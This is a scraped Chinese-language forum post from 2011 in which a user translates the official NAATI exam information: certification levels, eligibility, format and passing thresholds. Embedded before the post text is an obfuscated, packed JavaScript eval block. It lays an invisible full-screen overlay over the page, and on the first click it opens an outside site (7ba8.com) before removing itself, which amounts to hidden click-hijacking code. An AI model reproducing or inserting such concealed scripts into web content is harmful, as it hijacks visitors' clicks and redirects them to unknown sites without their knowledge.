滴答网 - 澳洲中文网_澳洲交友_澳洲租房_澳洲房产_澳洲旅游_澳洲汽车_二手市场_澳大利亚华人论坛

标题: NATTI考试简介（官方翻译版，黑中介退散） [打印本页]

作者: 微风祈愿 时间: 2011-6-1 21:22
标题: NATTI考试简介（官方翻译版，黑中介退散）
<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>前言：
澳洲政府新政不断，不少同学为了凑分，不得不争取社区语言的5分。而目前黑中介，不负责中介比比皆是，而纵观滴答网，关于NAATI考试的帖子极为少见。为了让大家认清楚此考试之难度，以便做好准备。本人从NATTI官网找到考试内容简介，翻译如下：

认证等级：（最近有传闻NAATI 2级也将获得加分）
Paraprofessional Interpreter (NAATI 2级)
考试为口试

Professional Translator (NAATI 3级)
考试为笔试

Professional Translator (NAATI 3级) 考试内容与要求

考试要求：拥有Diploma 等级以上的文凭或学位，或者通过NAATI 2级考试。国内文凭或澳洲文凭都可，但是必须是Certified Copy。（Certified copy：国内公证处公证并翻译之文件或经澳洲Justice of Peace证明的文件）

考试内容：

考试时间：3小时
考试只设计中译英或英译中一种。（你当然可以都报，但是分开考。两种考试过了其中之一，就能获得加分）
通过标准：
专业道德问题拿够5/10，并且
每篇文章得到29/40分，并且
两篇文章加起来拿够63/90分，并且
总分拿够70/100分。

英译中
一、文章翻译（2×45分）

由三篇文章组成，每篇在250字左右，每一篇涉及的领域及类型都不一样。考生选择其中两篇将其翻译为中文。文章将涉及文化、科学技术、健康、经济及相关领域，但文章针对非专业读者。（感觉和IELTS的很像）

二、专业道德问题（10分）
总共3道问题，选2道回答。答案用中英问写都可。

中译英
一、文章翻译（2×45分）

4篇250字文章，其中2篇是简体中文，2篇是繁体中文。考生各选一篇回答。设计领域同上。（对不精通繁体中文的考生是种挑战）

二、专业道德问题（10分）
总共3道问题，选2道回答。答案用中英问写都可。

Reference
http://www.naati.com.au/PDF/Booklets/Accreditation_by_Testing_booklet.pdf
关于本人：
深受黑中介所害。登录后立志DIY，成功DIY学校，续签。Master by Research 在读中。已婚。
口号：莫将人生交到别人手上。
[ 本帖最后由微风祈愿于 2011-6-2 06:21 编辑 ]
联系人：
联系方式：

欢迎光临滴答网 - 澳洲中文网_澳洲交友_澳洲租房_澳洲房产_澳洲旅游_澳洲汽车_二手市场_澳大利亚华人论坛 (https://nearther.cn/)